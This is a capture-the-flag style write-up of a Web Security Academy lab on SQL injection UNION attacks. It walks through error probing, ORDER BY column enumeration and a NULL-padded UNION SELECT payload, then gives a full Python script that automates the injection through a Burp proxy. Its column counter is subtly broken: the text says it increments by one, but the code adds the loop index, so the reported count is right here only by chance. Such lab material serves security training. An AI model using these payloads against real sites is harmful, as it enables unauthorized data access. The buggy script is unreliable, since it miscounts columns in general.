SQLi Vulnerabilities: Lab 3: SQL injection UNION attack, determining the number of columns returned by the query:

Lab 3: SQL injection UNION attack, determining the number of columns returned by the query:

This lab contains a SQL injection vulnerability in the product category filter. The results from the query are returned in the application’s response, so you can use a UNION attack to retrieve data from other tables. The first step of such an attack is to determine the number of columns that are being returned by the query. You will then use this technique in subsequent labs to construct the full attack.

To solve the lab, determine the number of columns returned by the query by performing a SQL injection UNION attack that returns an additional row containing null values.

Initial Reconnaissance/Discovery:

Looking at the page we can see there are a list of products displayed in a table and we can further filter these by using the search category selector.

Establishing SQLi:

If we send the request to repeater we can inject a single quote ' after the parameter and see we trigger a 500 Error response.

If then add a single another quote we can see that the page renders correctly.

Inferring The SQL Query Being Run:

Looking at the way the page we can infer the query being run is similar to the below.

SELECT * FROM products WHERE category = 'Pets' AND [rest of query]

When we add our single quote it becomes the below which is syntactically incorrect.

SELECT * FROM products WHERE category = 'Pets'' AND [rest of query]

However when we add another quote it becomes the below, closing off the first quotation mark we provided.

SELECT * FROM products WHERE category = 'Pets''' AND [rest of query]

UNION Query Requirements:

As the lab wants us to display the data using a UNION SELECT query we also need to ensure that the two requirements for this attack are met:

1. The queries must return the same amount of columns: This means that if the original query that is searching the database returns 5 columns our UNION query must also return 5 columns.
   • To solve this issue: We will enumerate the number of columns being returned by the original query.
2. The data types in the columns must be compatible with each query: This means that if the table is returning strings such as item names in column 1 our UNION query has to also return strings or a compatible data type.
   • To solve this issue: We will use a simple method of returning NULL values in this case. This is because NULL is convertible/compatible to every data type, so it will mean that the payload should succeed.

Enumerating The Number Of Columns Using ORDER BY Method:

In order for us to fulfill the labs requirements we need to display an additional column with NULL values, however for us to do that we need to establish how many columns there are in the table being pulled from. We can do this using the ORDER BY method.

This works, by modifying the original query to order the returned results by different columns in the results. This works particularly well as we can just specify a column number we want to order by meaning we don’t need to know the names of the columns themselves.

What is also useful is that when we exceed the number of columns available this will cause an error meaning that if submit order by payloads and they all return 200 up until we hit ORDER BY 15-- we know that the total number of columns is 14.

Burp Suite ORDER By Enumeration:

In burpsuite we can place the payload below after the category

'+ORDER+BY+1--

We then increment the number up until we get an error, in this case 4 returned an error meaning that the table has a total of 3 columns.

Displaying The Data Using UNION SELECT:

Now we have the total number of columns this means we can use UNION SELECT to display the data.

As the table has three columns we will use the payload below.

' UNION SELECT NULL,NULL,NULL--

As we can see it worked and an additional row is present containing no values.

If we remove the UNION SELECT query we can see the row is removed.

+Note+: It is also possible to complete this lab just using the UNION SELECT method and increasing the number of columns by incrementing the NULL value.

Solving The Whole Lab With Python.

Prep The Certificate:

If you want to proxy traffic through burp this is mandatory.

Open burp’s in built web browser and go to http://burpsuite & download the certificate by clicking on “CA Certificate” button on the top right corner.

Convert the certificate to the .pem format so the python requests module can use it.

openssl x509 -inform der -in certificate.cer -out certificate.pem

Imports:

First we import the modules we will need, requests & os. We also suppress the requests warning that will show.

import requests
import os
requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)

If we didn’t suppress the warnings the output would look like this.

Proxy Setup:

Now we declare our proxy so we can push all our traffic through burp, we also pass in the converted certificate.

proxy = 'http://127.0.0.1:8080'
os.environ['HTTP_PROXY'] = proxy
os.environ['HTTPS_PROXY'] = proxy
os.environ['REQUESTS_CA_BUNDLE'] = "certificate.pem"

Variable Declaration:

Proxies & URL:

We declare an array of proxies to proxy our requests through as well as the unique url & category endpoint. +Note+: The category and URL vary from instance to instance.

proxies = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"}
url="https://0a5200e704e3800f80b0e46100b00036.web-security-academy.net/filter?category=Accessories"

SQL Syntax & Counters:

So now we have our payload broken up into various elements, the reason for this is because we don’t want to just supply a list of multiple UNION SELECT statements, doing it this way offers more flexibility as well as ensuring we don’t repeat ourselves, it also means we could check databases with thousands of columns and it would still work.(I wouldn’t advise that but you could)

We also create a counter variable and set it to 2. This counter is used to track how many NULL values (columns) are in our UNION SELECT payload as we build it. Our starting payload is:

payload = union + nullPayload # "' UNION SELECT NULL"

So before the loop runs we already have one NULL in the query. Inside the loop, we keep appending more ,NULL values to payload and update counter to reflect the number of columns.

We don’t start the counter at 0 because SQL columns are conceptually counted from 1 (first column, second column etc…) and our payload already includes the first NULL column. If we started from 0, the value of counter would always lag behind the actual number of NULL columns in the query. By starting at 2, the value of counter stays aligned with the true column count once we begin adding additional NULL values in the loop.

union="' UNION SELECT "
comma=","
nullPayload="NULL"
comment="--"
additionalNull=comma+nullPayload
payload=union+nullPayload
counter=2

For Loop With Request:

We declare a for loop will which repeat for 10 total iterations.

Then we have a try block which will send our get request to the url with payload & comment.

Response Monitoring: We then monitor the responses and if the value “My account” is found in the body of the response we will:

• Print the string "Valid payload {payload}-- there are {counter} columns." which will contain the actual payload as well as the number of columns.
• Print the full Lab URL including comment and payload so we can easily verify it in a browser.

If thesee above conditions are met it will break out of the loop and stop the process.

If the above is not found it will add an additional NULL value using the additionalNull variable to the payload & increment the counter by 1 and continue.

for i in range(10):
    try:
        request=requests.get(url + payload + comment, proxies=proxies, verify=False, timeout=3)
        if 'My account' in request.text:
           print(f"Valid payload {payload}-- there are {counter} columns.")
           print(f"Lab Url: {url+payload+comment}")
           break
        payload=payload+additionalNull
        counter+=i

Error Handling:

These except clauses are used for error handling to ensure if an error is encountered they are logged to the terminal and the process continues.

    except requests.exceptions.HTTPError as errh:
        print ("Http Error:",errh)
    except requests.exceptions.ConnectionError as errc:
        print ("Error Connecting:",errc)
    except requests.exceptions.Timeout as errt:
        print ("Timeout Error:",errt)
    except requests.exceptions.RequestException as err:
        print ("OOps: Something Else",err)

Full Script:

#!/usr/bin/env python3
import requests
import os
requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)
proxy = 'http://127.0.0.1:8080'
os.environ['HTTP_PROXY'] = proxy
os.environ['HTTPS_PROXY'] = proxy
os.environ['REQUESTS_CA_BUNDLE'] = "certificate.pem"

proxies = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"}
url="https://0a5200e704e3800f80b0e46100b00036.web-security-academy.net/filter?category=Accessories"

union="' UNION SELECT "
comma=","
nullPayload="NULL"
comment="--"
additionalNull=comma+nullPayload
payload=union+nullPayload
counter=2

for i in range(10):
    try:
        request=requests.get(url + payload + comment, proxies=proxies, verify=False, timeout=3)
        if 'My account' in request.text:
           print(f"Valid payload {payload}-- there are {counter} columns.")
           print(f"Lab Url: {url+payload+comment}")
           break
        payload=payload+additionalNull
        counter+=i

    except requests.exceptions.HTTPError as errh:
        print ("Http Error:",errh)
    except requests.exceptions.ConnectionError as errc:
        print ("Error Connecting:",errc)
    except requests.exceptions.Timeout as errt:
        print ("Timeout Error:",errt)
    except requests.exceptions.RequestException as err:
        print ("OOps: Something Else",err)

Executing The Python Script To Solve The Lab:

As we can see we solve the lab and can see that the valid number of columns is 3